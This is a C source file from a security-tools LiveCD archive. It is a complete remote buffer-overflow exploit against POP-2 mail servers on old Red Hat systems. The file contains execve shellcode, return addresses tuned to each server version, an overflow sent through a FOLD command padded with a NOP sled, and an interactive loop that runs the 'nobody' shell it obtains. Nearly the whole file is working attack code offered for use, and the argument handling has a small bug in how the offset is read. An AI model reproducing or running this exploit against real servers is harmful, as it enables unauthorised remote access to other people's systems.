home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop2 / pop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  220 lines

  1. /*
  2.  * A pop-2 remote exploit that gives a nobody shell.
  3.  * gcc pop.c -o pop -O3 -Wall 
  4.  * Autodetects what version you're sploiting and adjusts ret position and
  5.  * offset accordingly.
  6.  * Tested on redhat 5.2, 5.1, 5.0 and 4.2. Probably only really useful
  7.  * using it on 5.2 tho, cos the rest will most likely have imap open too.
  8.  * NB: To exploit pop-2 you have to take into account the length of both 
  9.  * the hostname and username(unlike all the pop2 exploits out there).
  10.  * - smiler
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <unistd.h>
  15. #include <string.h>
  16. #include <stdlib.h>
  17. #include <sys/socket.h>
  18. #include <sys/types.h>
  19. #include <unistd.h>
  20. #include <netdb.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23.  
  24. unsigned char hellcode[]=
  25.   "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01"
  26.   "\x20\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89"
  27.   "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0"
  28.   "\xfe\xc0\xcd\x80\xe8\xcf\xff\xff\xff\x0f\x42\x49\x4e\x0f"
  29.   "\x53\x48";
  30.  
  31. struct type
  32.   {
  33.     char *text;
  34.     int offset;
  35.     int alignment;
  36.   };
  37.  
  38. struct type types[]=
  39.     {
  40.       {"4.46",0,0},
  41.       {"3.35",0,19},
  42.       {"3.44",0,19},
  43.       {"2.3(30)",0,19},
  44.       {NULL,0,0}
  45.     };
  46.  
  47. int pop2_type = 0;
  48.  
  49. #define RET 0xbffff5b1
  50.  
  51. void usage(char *prog);
  52. int resolv(char *hname, struct in_addr *addr);
  53. int send_oberflow(int fd, char *host, char *user, int offset);
  54. void run_shell(int fd);
  55. int set_pop_type(char *buf, int n);
  56. int do_connect(struct sockaddr_in *serv);
  57.  
  58. char temp_pass[20], *password;
  59.  
  60. int main(int argc, char **argv)
  61. {
  62.   int fd,n;
  63.   unsigned char buf[2048];
  64.   struct sockaddr_in servaddr;
  65.  
  66.   if (argc < 5)
  67.     usage(argv[0]);
  68.  
  69.   password = strdup(argv[3]);
  70.   bzero(argv[3],strlen(argv[3]));
  71.  
  72.   /* Mask the password from the cmdline =) */
  73.   bzero(&servaddr,sizeof(servaddr));
  74.   servaddr.sin_family = AF_INET;
  75.   servaddr.sin_port = htons(109);
  76.   if (!resolv(argv[4],&servaddr.sin_addr))
  77.     {
  78.       herror("resolv");
  79.       exit(-1);
  80.     }
  81.  
  82.   fd = do_connect(&servaddr);
  83.   if ((n = recv(fd, buf, 1024, 0)) <= 0)
  84.     {
  85.       perror("recv");
  86.       return -1;
  87.     }
  88.   /*  Get the banner */
  89.   write(STDOUT_FILENO, buf, n);
  90.   set_pop_type(buf,n);
  91.   printf("Pop type = %d\n",pop2_type);
  92.  
  93.   /* HELO  localhost:dave password */
  94.   sprintf(buf, "HELO %s:%s %s\r\n",argv[1],argv[2],password);
  95.   send(fd, buf, strlen(buf), 0);
  96.   printf("Sleeping\n");
  97.   sleep(3);
  98.  
  99.   n = recv(fd, buf, sizeof(buf), 0);
  100.  
  101.   send_oberflow(fd, argv[1], argv[2], argv[4]?atoi(argv[4]):0);
  102.   //    recv(fd, buf, sizeof(buf), 0);
  103.   run_shell(fd);
  104.   return 0;
  105. }
  106.  
  107. void run_shell(int fd)
  108. {
  109.   int n;
  110.   char recvbuf[1024];
  111.   fd_set rset;
  112.  
  113.   while(1)
  114.     {
  115.       FD_ZERO(&rset);
  116.       FD_SET(fd, &rset);
  117.       FD_SET(STDIN_FILENO, &rset);
  118.       select(fd+1,&rset,NULL,NULL,NULL);
  119.       if (FD_ISSET(fd, &rset))
  120.         {
  121.           n = recv(fd, recvbuf, 1024,0);
  122.           if (n <= 0)
  123.             {
  124.               fprintf(stderr,"Connection closed\n");
  125.               return;
  126.             }
  127.           write(STDOUT_FILENO, recvbuf, n);
  128.         }
  129.       if (FD_ISSET(STDIN_FILENO, &rset))
  130.         {
  131.           n = read(STDIN_FILENO, recvbuf, 1024);
  132.           if (n <= 0) return;
  133.           send(fd, recvbuf, n, 0);
  134.         }
  135.     }
  136.   return;
  137. }
  138.  
  139. int send_oberflow(int fd, char *host, char *user, int offset)
  140. {
  141.   unsigned char buf[1050];
  142.   int ret,ctr,a = 0;
  143.  
  144.   ret = 1016 - strlen(host) - strlen(user);
  145.   ret -= types[pop2_type].alignment;
  146.  
  147.   memset(buf,0x90,sizeof(buf));
  148.   memcpy(buf,"FOLD ",5);
  149.   for (ctr = ret - strlen(hellcode);ctr < ret; ctr++)
  150.     buf[ctr] = hellcode[a++];
  151.  
  152.   *(unsigned long *)(buf + ret) = RET + offset + types[pop2_type].offset;
  153.   strcpy(buf + ret + 4,"\r\n");
  154.   send(fd, buf, strlen(buf), 0);
  155.   return 1;
  156. }
  157.  
  158. int do_connect(struct sockaddr_in *serv)
  159. {
  160.   int fd;
  161.  
  162.   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  163.   if (fd < 0)
  164.     {
  165.       perror("socket");
  166.       exit(-1);
  167.     }
  168.  
  169.   if (connect(fd, (struct sockaddr *)serv, 16) < 0)
  170.     {
  171.       perror("connect");
  172.       exit(-1);
  173.     }
  174.   return fd;
  175. }
  176.  
  177. int set_pop_type(char *buf, int n)
  178. {
  179.   int ctr = 0;
  180.  
  181.   buf[n] = 0;
  182.  
  183.   while(types[ctr].text)
  184.     {
  185.       if (strstr(buf,types[ctr].text))
  186.         {
  187.           pop2_type = ctr;
  188.           return 1;
  189.         }
  190.       ctr++;
  191.     }
  192.  
  193.   pop2_type = 0;
  194.   return pop2_type;
  195. }
  196.  
  197. int resolv(char *hname, struct in_addr *addr)
  198. {
  199.   struct hostent *res;
  200.  
  201.   if (inet_aton(hname,addr))
  202.     return 1;
  203.  
  204.   res = gethostbyname(hname);
  205.   if (res == NULL)
  206.     return 0;
  207.  
  208.   memcpy((char *)addr,(char *)res->h_addr, sizeof(struct in_addr));
  209.   return 1;
  210. }
  211.  
  212. void usage(char *prog)
  213. {
  214.   fprintf(stderr,"Usage: %s <imap server> <username> <password>"\
  215.           " <pop server> [offset]\n",prog);
  216.   exit(-1);
  217. }
  218.  
  219.  
  220. /*                    www.hack.co.za              [2000]*/